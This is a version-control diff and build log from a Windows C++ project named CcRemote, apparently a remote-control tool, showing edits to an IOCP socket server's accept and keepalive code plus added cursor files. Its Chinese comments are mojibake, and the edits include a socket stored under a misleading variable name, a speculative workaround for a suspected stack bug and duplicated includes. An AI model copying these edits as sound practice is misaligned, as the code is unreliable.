f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码
All 486 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
All 523 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

View File

@@ -343,6 +343,12 @@ void CIOCPServer::OnAccept()
// Create the Client context to be associted with the completion port
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF><EFBFBD><EFBFBD>ӿͻ<D3BF><CDBB>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ClientContext* pContext = AllocateContext();
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôҲ<C3B4><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bug<75><67><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD>WSAIoctl<74><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><E1B7A2><EFBFBD><EFBFBD>ַ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
// <20><><EFBFBD><EFBFBD>pContext2<74><32>pContext2<74>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ı䣬pContextû<74><C3BB><EFBFBD>ܵ<EFBFBD>Ӱ<EFBFBD><D3B0>
// <20><>ֻ<EFBFBD><D6BB>debug<75>Ż<EFBFBD><C5BB><EFBFBD><EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֣<EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD>ɵģ<C9B5><C4A3><EFBFBD>ջû<D5BB><C3BB>ƽ<EFBFBD><EFBFBD>£<EFBFBD><C2A3>²<EFBFBD><C2B2><EFBFBD>
ClientContext* pContext2 = pContext;
// AllocateContext fail
if (pContext == NULL)
return;
@@ -386,9 +392,10 @@ void CIOCPServer::OnAccept()
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
klive.keepalivetime = m_nKeepLiveTime;
klive.keepaliveinterval = 1000 * 10; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ10<31><30> Resend if No-Reply
SOCKET dwIoControlCode = pContext->m_Socket;
WSAIoctl
(
pContext->m_Socket,
dwIoControlCode,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
@@ -412,7 +419,7 @@ void CIOCPServer::OnAccept()
OVERLAPPEDPLUS *pOverlap = new OVERLAPPEDPLUS(IOInitialize);
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)pContext, &pOverlap->m_ol);
if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))
{
@@ -1284,6 +1291,8 @@ void CIOCPServer::ResetConnection(ClientContext* pContext)
}
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CIOCPServer::DisconnectAll()
{
m_bDisconnectAll = true;

View File

@@ -14,6 +14,10 @@
#include <afxcontrolbars.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#endif //PCH_H

BIN
CcRemote/CcRemote/res/1.cur Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 B

BIN
CcRemote/CcRemote/res/2.cur Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 B

BIN
CcRemote/CcRemote/res/3.cur Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 B

BIN
CcRemote/CcRemote/res/4.cur Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 264 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.